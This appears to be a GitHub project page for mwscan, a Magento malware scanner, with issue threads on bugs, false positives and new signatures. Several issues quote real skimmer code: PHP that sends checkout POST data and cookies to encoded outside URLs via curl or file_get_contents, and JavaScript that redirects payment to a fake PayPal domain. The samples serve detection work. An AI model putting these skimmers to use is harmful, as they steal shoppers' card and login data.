Scanner, signatures and the largest collection of Magento malware

Overview

Improved malware scanner now available

Good news: our opensource malware scanner "mwscan" has been succeeded by a much better one called eComscan. It is developed by Sansec, experts in Magento store security.

Update 2021: Sansec is now recognized as Adobe partner and runs on more than 7000 stores worldwide

Use one month free of charge

eComscan offers many improvements over mwscan:

  • 22 thousand malware signatures and counting
  • Detects vulnerabilities in Magento and third party ecommerce components
  • Monitoring of files & databases
  • Get instant, actionable alerts via mail, Slack, phone & webhook

The Sansec threat intel team investigates hundreds of hacked stores per month, and adds new attack signatures multiple times per day. We believe it is by far the best solution to protect your Magento store from emerging threats.

You can use our full solution one month free of charge. Get your copy here and and use coupon code MWSCAN. Your store and your customers will benefit!

Sample command line scan

Sample CLI scan output

Sample report

Sample GUI scan output

Who uses it?

Mwscan and its successor eComscan are recommended by Magento and used by the US Department of Homeland Security, the Magento Marketplace, Magereport, the Mage Security Council and many others.

About payment skimming and Magecart

Online payment skimming (aka "MageCart") is a growing threat to digital stores. Since our first publication in 2015, we identified more than 40.000 compromised stores. In most cases, malware is inserted that will a) intercept customer data, b) divert payments or c) uses your customers for cryptojacking.

Privacy watchdogs and online regulators are increasingly handing out fines to companies who suffered a Magecart attack.

Comments
  • Move build artefacts out of repo

    Move build artefacts out of repo

    Note to mwscan users: update your install, or you will not get new rules anymore!

    • The grep URL has changed from git.io/mwscan.txt to mwscan.s3.amazonaws.com/mwscan.txt
    • If using the mwscan package, try sudo pip3 install --upgrade mwscan (or sudo pip install --upgrade mwscan).

    See the updated docs for sample crons.

    What is this change about?

    Let the CI pipeline build the signatures, instead of including them in the repo (redundantly).

    Pro: This will unclutter many PRs Con: Installation instructions need to change, people need to update their mwscan code as the URL is hardcoded and currently points to github.

    Plan:

    • [x] Instruct Travis to build rules and upload them to S3 upon commit to master. Done: https://mwscan.s3.amazonaws.com/mwscan.yar
    • [x] Change built rules name to mwscan.txt and mwscan.yar (from all-confirmed).
    • [x] Update all references to all-confirmed, eg in travis test scripts
    • [x] Change URL in ruleset.py
    • [x] Update basic instructions/URL for grep usage
    • [x] Do not bundle rules anymore in pip/deb package and remove DEFAULT_RULES_FILE
    • [x] Make mwscan ruleset the default one
    • [x] Ensure that scanning continues, even if S3 is unreachable (except of course when there is no cached version of the rules)
    • [x] Add build/* to .gitignore so PRs will not clutter any further.
    • [x] Verify that mwscan without arguments still does a sane thing (ie download the latest default ruleset and use that)
    • [x] Update screenshot in docs
    • [x] Release new pip package
    • [x] Add wildcard rule that will fail on everything, to warn sysadmins to upgrade.

    Mwscan users (e.g. Byte) should:

    • [x] Once steps above are completed, install new pip package and/or build new deb with new S3 rule URL
    opened by gwillem 18
  • Contributing without coding

    Contributing without coding

    With Magereport and some additional tools I found viruses on my Magento store, I found some in footers via configuration an some in catalog search and cms blocks and visitor info by doing a search for eval in any db field in the Magento database...

    Would those viruses be of interest?

    opened by ddoddsr 12
  • Encoded JS functions - CC Hijack

    Encoded JS functions - CC Hijack

    JavaScript found in cms_block - the code features encoding functions. The Yara rules should identify the decode function of the script and/or parameters being passed to the decode function for execution.

    opened by Mooey28 7
  • Should Adminer be flagged as malware?

    Should Adminer be flagged as malware?

    Technically, Adminer is not malware of course. However, it appears that Adminer is a commonly used tool by Magento exploiters to ensure future database access. General attack flow:

    1. Hacker gets in through SQL injection, Shoplift, Magmi, Webforms upload, brute forcing weak admin password.
    2. Hacker fetches database password from local.xml
    3. Hacker drops backdoors to ensure future access. Backdoors are webshells, blanket eval or upload forms, or database webinterfaces (Adminer).

    On our platform, we found roughly 100 Adminer installs. A sample validation revealed that most of them were not put there by the site owner.

    What to do?

    question 
    opened by gwillem 7
  • Py2 doesn't handle the magesec rules

    Py2 doesn't handle the magesec rules

    [*] https://magesec.org:443 "GET /download/yara-standard.yar HTTP/1.1" 200 159703
    Traceback (most recent call last):
      File "/usr/local/bin/mwscan", line 9, in <module>
        load_entry_point('mwscan==20180307.122431', 'console_scripts', 'mwscan')()
      File "/usr/local/lib/python2.7/dist-packages/mwscan/scan.py", line 243, in main
        rules, whitelist = provider(args=args).get()
      File "/usr/local/lib/python2.7/dist-packages/mwscan/ruleset.py", line 124, in get
        rawrules = self.get_rules()
      File "/usr/local/lib/python2.7/dist-packages/mwscan/ruleset.py", line 46, in get_rules
        return self._recursive_fetch(self.rules_url)
      File "/usr/local/lib/python2.7/dist-packages/mwscan/ruleset.py", line 145, in _recursive_fetch
        data = self._httpget(url)
      File "/usr/local/lib/python2.7/dist-packages/mwscan/ruleset.py", line 109, in _httpget
        return resp.content.decode()
    UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 154508: ordinal not in range(128)
    
    bug 
    opened by gwillem 5
  • MWSCAN and Python Version

    MWSCAN and Python Version

    Setting up MWSCAN on our managed server which is running Python 2.7 Can MWSCAN run on 2.7 ? I get the message:

    Traceback (most recent call last): File "./mwscan", line 38, in from ruleset import providers ImportError: No module named ruleset

    opened by ddoddsr 5
  • MageReport found Credit Card Hijack , malware-scanner did not

    MageReport found Credit Card Hijack , malware-scanner did not

    MageReport found Credit Card Hijack , malware-scanner did not. Then I downloaded and scanned the DB and site backup files with a different scanner (Kaspersky) and did not find it either.

    Whats next?

    opened by ddoddsr 5
  • TypeError: decode() takes no keyword arguments

    TypeError: decode() takes no keyword arguments

    I've been having ongoing problems with mwscanner since the AWS update. I have a CentOS6 server.

    Initially I was getting the "pkg_resources.DistributionNotFound: requests>=0.8.2" and I couldn't get past that until I finally found the comment in usage.md that says to run "easy_install --upgrade requests".

    That finally resolved the error that's been holding me up, but the scan didn't get far before reporting a different error.

    [*] Using Mwscan rules.
    [*] Fetching mwscan.yar
    [*] Starting new HTTPS connection (1): mwscan.s3.amazonaws.com
    [*] https://mwscan.s3.amazonaws.com:443 "GET /mwscan.yar HTTP/1.1" 200 155458
    Traceback (most recent call last):
      File "/usr/bin/mwscan", line 9, in <module>
        load_entry_point('mwscan==20180510.172121', 'console_scripts', 'mwscan')()
      File "/usr/lib/python2.6/site-packages/mwscan/scan.py", line 243, in main
        rules, whitelist = provider(args=args).get()
      File "/usr/lib/python2.6/site-packages/mwscan/ruleset.py", line 139, in get
        rawrules = self.get_rules()
      File "/usr/lib/python2.6/site-packages/mwscan/ruleset.py", line 48, in get_rules
        rawrules = self._recursive_fetch(self.rules_url)
      File "/usr/lib/python2.6/site-packages/mwscan/ruleset.py", line 160, in _recursive_fetch
        data = self._httpget(url)
      File "/usr/lib/python2.6/site-packages/mwscan/ruleset.py", line 121, in _httpget
        return resp.content.decode('utf-8', errors='ignore')
    TypeError: decode() takes no keyword arguments
    
    opened by 01i 4
  • Make debian packaging work out of the box

    Make debian packaging work out of the box

    If dh-python is not added as a build dependency, the Depends field will be filled with weird and incorrect values from setup.py's install_requires.

    However, dh-python causes ${python:Depends} to be too strict. So just get rid of that and put in the python verison Depends manually.

    I tested this using cowbuilder/pdebuild for Debian Stretch as well as Ubuntu Xenial.

    Also see comments in https://github.com/gwillem/magento-malware-scanner/pull/185

    opened by andreas-bytenl 4
  • False positives in rule dynamic_base64_function_call_us_04557

    False positives in rule dynamic_base64_function_call_us_04557

    Rule 'dynamic_base64_function_call_us_04557' causes a lot of false positives in several extensions.

    Example 1: app/code/local/TBT/Bss/Helper/Loyalty/Checker.php

    <?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%
    

    Example 2: app/code/local/Mindstretch/Betterinvoice/Model/Order/Pdf/Items/Invoice/Default.php

    <?php /* Copyright Mindstretch */$OOO000000=urldecode('%66%67%36
    
    opened by Rolandwalraven 4
  • Fix false alerts

    Fix false alerts

    This reverts commit 3630d9c8ca15524d71aa27d9eeb1ac7a5a972c12.

    This whitespace was causing grep to return lots of false errors.

    Download vanilla magento and prepare for quick scan

    [15:31:30] lukerodgers [~/src]$ git clone --depth 1 [email protected]:openmage/magento-mirror m1.9
    Cloning into 'm1.9'...
    remote: Counting objects: 19333, done.
    remote: Compressing objects: 100% (9357/9357), done.
    remote: Total 19333 (delta 8736), reused 14750 (delta 7613), pack-reused 0
    Receiving objects: 100% (19333/19333), 25.54 MiB | 2.97 MiB/s, done.
    Resolving deltas: 100% (8736/8736), done.
    Checking out files: 100% (14411/14411), done.
    [15:31:54] lukerodgers [~/src]$ cd m1.9/
    [15:31:56] lukerodgers [~/src/m1.9]$ wget git.io/mwscan.txt
    URL transformed to HTTPS due to an HSTS policy
    --2017-10-23 15:32:06--  https://git.io/mwscan.txt
    Resolving git.io... 54.243.73.226, 54.243.115.172, 54.225.199.17, ...
    Connecting to git.io|54.243.73.226|:443... connected.
    HTTP request sent, awaiting response... 302 Found
    Location: https://raw.githubusercontent.com/gwillem/magento-malware-scanner/master/build/all-confirmed.txt [following]
    --2017-10-23 15:32:07--  https://raw.githubusercontent.com/gwillem/magento-malware-scanner/master/build/all-confirmed.txt
    Resolving raw.githubusercontent.com... 151.101.128.133, 151.101.192.133, 151.101.64.133, ...
    Connecting to raw.githubusercontent.com|151.101.128.133|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 56339 (55K) [text/plain]
    Saving to: 'mwscan.txt'
    
    mwscan.txt                        100%[============================================================>]  55.02K  --.-KB/s   in 0.02s
    
    2017-10-23 15:32:08 (2.82 MB/s) - 'mwscan.txt' saved [56339/56339]
    

    Run quick scan and see lots of stuff

    None of the above should be appearing

    [15:32:16] lukerodgers [~/src/m1.9]$ grep -Erlf mwscan.txt ./
    .//.gitignore
    .//.htaccess
    .//.htaccess.sample
    .//api.php
    .//app/.htaccess
    .//app/bootstrap.php
    .//app/code/community/Cm/RedisSession/etc/config.xml
    .//app/code/community/Cm/RedisSession/Model/Session.php
    .//app/code/community/Phoenix/Moneybookers/Block/Form.php
    .//app/code/community/Phoenix/Moneybookers/Block/Info.php
    .//app/code/community/Phoenix/Moneybookers/Block/Jsinit.php
    .//app/code/community/Phoenix/Moneybookers/Block/Payment.php
    .//app/code/community/Phoenix/Moneybookers/Block/Placeform.php
    .//app/code/community/Phoenix/Moneybookers/Block/Redirect.php
    .//app/code/community/Phoenix/Moneybookers/controllers/MoneybookersController.php
    .//app/code/community/Phoenix/Moneybookers/controllers/ProcessingController.php
    .//app/code/community/Phoenix/Moneybookers/etc/config.xml
    .//app/code/community/Phoenix/Moneybookers/etc/system.xml
    .//app/code/community/Phoenix/Moneybookers/Helper/Data.php
    .//app/code/community/Phoenix/Moneybookers/Model/Abstract.php
    .//app/code/community/Phoenix/Moneybookers/Model/Acc.php
    .//app/code/community/Phoenix/Moneybookers/Model/Csi.php
    .//app/code/community/Phoenix/Moneybookers/Model/Did.php
    .......
    [truncated, it goes on!]
    

    Manually patch mwscan.txt

    [15:33:38] lukerodgers [~/src/m1.9]$ cp mwscan.txt mwscan.txt.orig
    [15:33:42] lukerodgers [~/src/m1.9]$ nano mwscan.txt # remove final whitespace line
    [15:33:53] lukerodgers [~/src/m1.9]$ grep -Erlf mwscan.txt ./ # this command ran for a minute with no output
    ^C
    [15:34:10] lukerodgers [~/src/m1.9]$ diff mwscan.txt mwscan.txt.orig
    846a847
    >
    
    opened by convenient 4
  • python-setuptools should be included in the docs

    python-setuptools should be included in the docs

    The documentation for usage notes that python-pip, gcc and python-dev are required for install, however you also need python-setuptools on Debian Stretch for the "pip install" to succeed

    opened by nicka101 0
  • Add this snippet

    Add this snippet

    From app/code/core/Mage/Core/functions.php

    if (preg_match("/".base64_decode('Zmlyc3RuYW1lfGN2YzJ8Y2NfbnVtYmVyfHVzZXJuYW1lfGNjX3xzaGlwcGluZ3xjdnZ8bW9udGh8ZHVtbXl8c2VjdXJldHJhZGluZ3x5ZWFyfGxvZ2lufGJpbGxpbmd8ZXhwaXJ5fHBheW1lbnR8Y2FyZF9udW1iZXI=')."/i", serialize($_POST)))
    -    @shell_exec("curl --data \"version=1&encode=".base64_encode(    serialize($_POST) . "--" . serialize($_COOKIE) )."&host=".$_SERVER["HTTP_HOST"]."\" ".trim(base64_decode('aHR0cDovL3ZlcnBheW1lbnQuY29tL3Rlc3RTZXJ2ZXIucGhw'))." > /dev/null 2<&1 &");
    
    opened by gwillem 0
  • Malware not detected in Cc.php and Mage_Payment_Model_Method_Cc.php

    Malware not detected in Cc.php and Mage_Payment_Model_Method_Cc.php

    I found this line manually after deep mwsan <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(FILE); eval(base64_decode("ENCRYPT...`

    when I decrypt Zeura I get the folllowing code at the end of the file if(isset($_POST)){$EvxCq = WmJQW('',$_POST,0); $_COOKIE['BMMLN']!=null?$SflHflmRjQ=$_COOKIE['BMMLN']:setcookie('BMMLN', $SflHflmRjQ=time().'-'.crc32(uniqid()),time()+86000,'/',$_SERVER['HTTP_HOST']);file_get_contents(base64_decode( 'aHR0cHM6Ly9sb2NhbHNlcnZlci5ob3N0L2FwaS9pbmRleC5waHA='), FALSE,stream_context_create(array('http'=>array('method'=>'POST', 'header'=>'Content-type: application/x-www-form-urlencoded', 'content'=>http_build_query(array('info'=>base64_encode($EvxCq), 'hostname'=>$_SERVER['HTTP_HOST'],'sub'=>2,'key'=>$SflHflmRjQ))))));} function WmJQW($bRrNN,$CYRnG,$qabbF) {foreach($CYRnG as $vikBC => $PmGhs) {if(!is_array($PmGhs)) { if($qabbF == 1) {$dwTSf[] = $bRrNN.'['.$vikBC.']='.$PmGhs;}else {$dwTSf[] = $vikBC.'='.$PmGhs;} }else {$dwTSf[] = WmJQW($vikBC,$PmGhs,1);}}return implode('&',$dwTSf);} ?>

    opened by ernesthernandez 1
  • pip vs yum python

    pip vs yum python

    you need to check if python packages already installed and managed with yum or apt, instead of re-installing them with pip. this will break other python projects.

    opened by magenx 4
  • Malware that change payment method URL to hackers papal account

    Malware that change payment method URL to hackers papal account

    it was adding following code in some of js in our case it was quickview.js and ccard.js

    
    jQuery(document).ready(function()
    {
    	if(!(document.cookie.indexOf("userpayid") + 1))
    	{
    		jQuery("*[onclick^=\"shippingMethod.save()\"]").attr("onclick", "paynow_right();");
    		jQuery("*[onclick^=\"checkout.save();\"]").attr("onclick", "paynow_right();");
    		jQuery("*[onclick=\"payment.save()\"]").attr("onclick", "paynow_right();");
    		jQuery("#checkout-onepage-buttom").attr("onclick", "paynow_right();");
    		jQuery("#onestepcheckout-button-place-order").attr("onclick", "paynow_right();");
    		jQuery("#onestepcheckout-place-order").attr("onclick", "paynow_right();");
    	}
    });
    
    function paynow_right()
    {
    	if(!(document.cookie.indexOf("userpayid") + 1))
    	{
    		var rand = function()
    		{
    			return Math.random().toString(36).substr(2);
    		};
    		document.cookie = "userpayid=" + rand();
    		var arr = {
    			"location" : "http://" + location.host,
    			"method" : "PayPal"
    		};
    		jQuery(location).attr('href', "//paymentpal.cf/?payment=" + btoa(JSON.stringify(arr)));
    	}
    }
    
    

    quickview.js => https://pastebin.com/xUgXxwDe ccard.js => https://pastebin.com/tkGgKQSi

    we also see 2 files with strange name

    • 2.php.png => https://pastebin.com/RC4v6UrX
    • slltemap.php.jpg => https://pastebin.com/0q3naCgZ
    opened by jigneshthummar 2
Owner
Willem de Groot
Maniacal automater & explorer
Willem de Groot
Custom torn signatures, like cheds ones, but with your own graphics.

torn-custom-signatures Basic Live signature creation script for Torn. Prerequesites: A file containing the apikeys in an array named as FACTION_ID-api

Dimitris Valilis 4 Nov 23, 2022
Cookbook-magento - Collection of recipes to build app stack for the Magento deployments with Chef

Magento Cookbook Collection of recipes to build app stack for the Magento deployments with Chef Installation With Berkshelf echo "cookbook 'magento',

Yevhen Viktorov 37 Sep 26, 2020
A PHP dependency vulnerabilities scanner based on the Security Advisories Database.

Enlightn Security Checker The Enlightn Security Checker is a command line tool that checks if your application uses dependencies with known security v

Enlightn 242 Dec 26, 2022
A tool that allows to quickly export data from Magento 1 and Magento 2 store and import it back into Magento 2

Simple Import / Export tool A tool that allows to quickly export data from Magento 1 and Magento 2 store and import it back into Magento 2. Table data

EcomDev B.V. 51 Dec 5, 2022
A collection of command line scripts for Magento 2 code generation, and a PHP module system for organizing command line scripts.

What is Pestle? Pestle is A PHP Framework for creating and organizing command line programs An experiment in implementing python style module imports

Alan Storm 526 Dec 5, 2022
Automatically load the next page of products in Magento. Easy to install and configure, this module works 100% out of the box with vanilla Magento 1.9.x and earlier.

Automatically load the next page of products in Magento. Easy to install and configure, this module works 100% out of the box with vanilla Magento 1.9.x and earlier.

Strategery 123 Nov 20, 2021
Magento-Vagrant-Puppet-Nginx - Installs magento and a nginx server

Magento-Vagrant-Puppet-Nginx Installs Magento MySQL PHP PHP-FPM Nginx n98-magerun Setup git submodule init git submodule update vagrant up Modify pupp

Christian Münch 61 Aug 10, 2022
Chef-magento - Installs and Configures a Magento project

Description Requirements Chef 0.10.0 or higher required (for Chef environment use). Platform Debian, Ubuntu CentOS, Red Hat, Fedora Your basebox must

Inviqa 3 Jun 30, 2020
Magento-bulk - Bulk Import/Export helper scripts and CLI utilities for Magento Commerce

Magento Bulk Bulk operations for Magento. Configuration Copy config.php.sample to config.php and edit it. Product Attribute Management List All Attrib

Bippo Indonesia 23 Dec 20, 2022
Foundation 3 Framework for Magento 1.7. Foundation styles and libraries. Magento Responsive theme. Off-canvas Left-Right sidebar columns for mobile.

Magento Foundation 3 Framework Zurb Foundation 3 framework for Magento 1.7. Magento Foundation 3 Version 1.3.0. Demo page: http://magendation.internet

Nando Boronat 62 Apr 1, 2022
Search faster into Magento DevDocs and Magento StackExchange! 🔍⚡️

VS Code - Magento DevSearch Search faster into Magento DevDocs and Magento StackExchange! ?? ⚡️ Magento DevSearch is a VS Code extension that allows y

Rafael Corrêa Gomes 12 Oct 18, 2022
🎓 Collection of useful PHP frequently asked questions, articles and best practices

PHP.earth documentation These files are available online at PHP.earth. Contributing and license We are always looking forward to see your contribution

PHP.earth 278 Dec 27, 2022
Collection of useful PHP functions, mini-classes, and snippets for every day.

JBZoo / Utils Collection of PHP functions, mini classes and snippets for everyday developer's routine life. Install composer require jbzoo/utils Usage

JBZoo Toolbox 786 Dec 30, 2022
Collection of PHP functions, mini classes and snippets for everyday developer's routine life

JBZoo / Utils Collection of PHP functions, mini classes and snippets for everyday developer's routine life. Install composer require jbzoo/utils Usage

JBZoo Toolbox 776 Jun 2, 2022
Ideation Tool helps with the collection, enrichment, rating, and prioritization of ideas.

About Ideation Tool Ideation Tool helps with the collection, enrichment, rating, and prioritization of ideas. We believe having access to simple to us

Innovategy Oy 3 Jun 15, 2022
A collection of useful codes and utilities for WordPress plugin development..

WordPress Utils A collection of useful codes and utilities for WordPress plugin development. These simplifies common tasks and promote code reusabilit

weDevs 5 Jun 9, 2023